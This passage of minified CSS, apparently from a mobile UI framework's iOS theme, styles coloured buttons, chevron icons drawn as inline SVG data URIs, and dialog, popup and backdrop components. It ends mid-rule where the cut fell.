.button.color-white.active-state{background:rgba(255,255,255,.15)}.ios .button.color-white.button-active,.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios,.ios .button.color-white.tab-link-active{color:#fff}.ios .button.color-white.button-active,.ios .button.color-white.tab-link-active{background:#fff}.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios{background:#fff;border-color:transparent}.ios .button.color-white.button-small-ios.button-fill-ios.active-state,.ios .button.color-white.button-small-ios.button-fill.active-state,.ios .button.color-white.button-small.button-fill-ios.active-state,.ios .button.color-white.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .button.color-black{border-color:#000;color:#000}.ios .button.color-black.active-state{background:rgba(0,0,0,.15)}.ios .button.color-black.button-active,.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios,.ios .button.color-black.tab-link-active{color:#fff}.ios .button.color-black.button-active,.ios .button.color-black.tab-link-active{background:#000}.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios{background:#000;border-color:transparent}.ios .button.color-black.button-small-ios.button-fill-ios.active-state,.ios .button.color-black.button-small-ios.button-fill.active-state,.ios .button.color-black.button-small.button-fill-ios.active-state,.ios .button.color-black.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}i.icon{display:inline-block;vertical-align:middle;background-size:100% auto;background-position:center;background-repeat:no-repeat;font-style:normal;position:relative}.ios .icon-back,.ios .icon-prev{width:12px;height:20px}.ios .icon-forward,.ios .icon-next{width:12px;height:20px}.ios .icon-next,.ios .icon-prev{width:10px}.ios .icon-forward,.ios .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon-back,.ios .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .navbar .f7-icons,.ios .toolbar .f7-icons{font-size:22px}.ios .tabbar .f7-icons,.ios .tabbar-labels .f7-icons{font-size:25px}.ios .item-media .f7-icons{font-size:25px;width:29px;height:29px}.ios .button .f7-icons{font-size:22px}.ios .item-media .icon{color:grey}.ios .color-theme-red .icon-forward,.ios .color-theme-red .icon-next,.ios .icon-forward.color-red,.ios .icon-next.color-red,.ios a.link.color-red .icon-forward,.ios a.link.color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .icon-back,.ios .color-theme-red .icon-prev,.ios .icon-back.color-red,.ios .icon-prev.color-red,.ios a.link.color-red .icon-back,.ios a.link.color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-forward,.ios .color-theme-green .icon-next,.ios .icon-forward.color-green,.ios .icon-next.color-green,.ios a.link.color-green .icon-forward,.ios a.link.color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-back,.ios .color-theme-green .icon-prev,.ios .icon-back.color-green,.ios .icon-prev.color-green,.ios a.link.color-green .icon-back,.ios a.link.color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-forward,.ios .color-theme-blue .icon-next,.ios .icon-forward.color-blue,.ios .icon-next.color-blue,.ios a.link.color-blue .icon-forward,.ios a.link.color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-back,.ios .color-theme-blue .icon-prev,.ios .icon-back.color-blue,.ios .icon-prev.color-blue,.ios a.link.color-blue .icon-back,.ios a.link.color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-forward,.ios .color-theme-pink .icon-next,.ios .icon-forward.color-pink,.ios .icon-next.color-pink,.ios a.link.color-pink .icon-forward,.ios a.link.color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-back,.ios .color-theme-pink .icon-prev,.ios .icon-back.color-pink,.ios .icon-prev.color-pink,.ios a.link.color-pink .icon-back,.ios a.link.color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-forward,.ios .color-theme-yellow .icon-next,.ios .icon-forward.color-yellow,.ios .icon-next.color-yellow,.ios a.link.color-yellow .icon-forward,.ios a.link.color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-back,.ios .color-theme-yellow .icon-prev,.ios .icon-back.color-yellow,.ios .icon-prev.color-yellow,.ios a.link.color-yellow .icon-back,.ios a.link.color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-forward,.ios .color-theme-orange .icon-next,.ios .icon-forward.color-orange,.ios .icon-next.color-orange,.ios a.link.color-orange .icon-forward,.ios a.link.color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-back,.ios .color-theme-orange .icon-prev,.ios .icon-back.color-orange,.ios .icon-prev.color-orange,.ios a.link.color-orange .icon-back,.ios a.link.color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-forward,.ios .color-theme-gray .icon-next,.ios .icon-forward.color-gray,.ios .icon-next.color-gray,.ios a.link.color-gray .icon-forward,.ios a.link.color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-back,.ios .color-theme-gray .icon-prev,.ios .icon-back.color-gray,.ios .icon-prev.color-gray,.ios a.link.color-gray .icon-back,.ios a.link.color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-forward,.ios .color-theme-white .icon-next,.ios .icon-forward.color-white,.ios .icon-next.color-white,.ios a.link.color-white .icon-forward,.ios a.link.color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-back,.ios .color-theme-white .icon-prev,.ios .icon-back.color-white,.ios .icon-prev.color-white,.ios a.link.color-white .icon-back,.ios a.link.color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-forward,.ios .color-theme-black .icon-next,.ios .icon-forward.color-black,.ios .icon-next.color-black,.ios a.link.color-black .icon-forward,.ios a.link.color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-back,.ios .color-theme-black .icon-prev,.ios .icon-back.color-black,.ios .icon-prev.color-black,.ios a.link.color-black .icon-back,.ios a.link.color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon.color-red{color:#ff3b30}.ios .icon.color-green{color:#4cd964}.ios .icon.color-blue{color:#007aff}.ios .icon.color-pink{color:#ff2d55}.ios .icon.color-yellow{color:#fc0}.ios .icon.color-orange{color:#ff9500}.ios .icon.color-gray{color:#8e8e93}.ios .icon.color-white{color:#fff}.ios .icon.color-black{color:#000}.custom-modal-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.custom-modal-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.custom-modal-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog{position:absolute;z-index:13500;left:50%;margin-top:0;top:50%;overflow:hidden;opacity:0;-webkit-transform:translate3d(0,0,0) scale(1.185);transform:translate3d(0,0,0) scale(1.185);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;display:none;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.dialog.modal-out{opacity:0;z-index:13499}.dialog.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-inner{position:relative}.dialog-title{font-weight:500}.dialog-buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.dialog-buttons-vertical .dialog-buttons{display:block;height:auto!important}.dialog-no-buttons .dialog-buttons{display:none}.dialog-input-field{position:relative}.dialog-input-field .item-input-wrap{margin:0;padding:0}.dialog-input{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;margin-top:15px;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;display:block;font-family:inherit;-webkit-box-shadow:none;box-shadow:none}html.with-modal-dialog .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .dialog{width:270px;margin-left:-135px;text-align:center;border-radius:13px;color:#000}.ios .dialog.modal-out{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.ios .dialog-inner{padding:15px;border-radius:13px 13px 0 0;background:rgba(255,255,255,.95)}.ios .dialog-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-title{font-size:18px;text-align:center;font-weight:600}.ios .dialog-title+.dialog-text{margin-top:5px}.ios .dialog-buttons{height:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .dialog-button{width:100%;padding:0 5px;height:44px;font-size:17px;line-height:44px;text-align:center;color:#007aff;display:block;position:relative;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;background:rgba(255,255,255,.95)}.ios .dialog-button:first-child{border-radius:0 0 0 13px}.ios .dialog-button:last-child{border-radius:0 0 13px 0}.ios .dialog-button:last-child:after{display:none!important}.ios .dialog-button:first-child:last-child{border-radius:0 0 13px 13px}.ios .dialog-button.dialog-button-bold{font-weight:500}.ios .dialog-button.active-state{background:rgba(230,230,230,.95)}.ios .dialog-buttons-vertical .dialog-buttons{height:auto}.ios .dialog-buttons-vertical .dialog-button{border-radius:0}.ios .dialog-buttons-vertical .dialog-button:last-child{border-radius:0 0 13px 13px}.ios .dialog-buttons-vertical .dialog-button:last-child:after{display:none!important}.ios .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .dialog-button:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .dialog-button:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .dialog-buttons-vertical .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-no-buttons .dialog-inner{border-radius:13px}.ios .dialog-no-buttons .dialog-inner:after{display:none!important}.ios .dialog-input-field{margin-top:15px}.ios .dialog-input-field .item-input-wrap{margin:0}.ios .dialog-input{height:26px;background:#fff;padding:0 5px;border:1px solid rgba(0,0,0,.3);font-size:14px}.ios .dialog-input+.dialog-input{margin-top:5px}.ios .dialog-input-double+.dialog-input-double{margin-top:0}.ios .dialog-input-double+.dialog-input-double .dialog-input{border-top:0;margin-top:0}.ios .dialog-preloader .dialog-text~.preloader,.ios .dialog-preloader .dialog-title~.preloader{margin-top:5px}.ios .dialog-preloader .preloader{width:34px;height:34px}.ios .dialog-progress .dialog-text~.progressbar,.ios .dialog-progress .dialog-text~.progressbar-infinite,.ios .dialog-progress .dialog-title~.progressbar,.ios .dialog-progress .dialog-title~.progressbar-infinite{margin-top:15px}.ios .dialog-button.color-red{color:#ff3b30}.ios .dialog-button.color-green{color:#4cd964}.ios .dialog-button.color-blue{color:#007aff}.ios .dialog-button.color-pink{color:#ff2d55}.ios .dialog-button.color-yellow{color:#fc0}.ios .dialog-button.color-orange{color:#ff9500}.ios .dialog-button.color-gray{color:#8e8e93}.ios .dialog-button.color-white{color:#fff}.ios .dialog-button.color-black{color:#000}.popup-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.popup-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup-backdrop.backdrop-in{visibility:visible;opacity:1}.popup{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.popup.modal-in,.popup.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.popup.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:630px) and (min-height:630px){.popup:not(.popup-tablet-fullscreen){width:630px;height:630px;left:50%;top:50%;margin-left:-315px;margin-top:-315px;-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}.popup:not(.popup-tablet-fullscreen).modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup:not(.popup-tablet-fullscreen).modal-out{-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}}@media 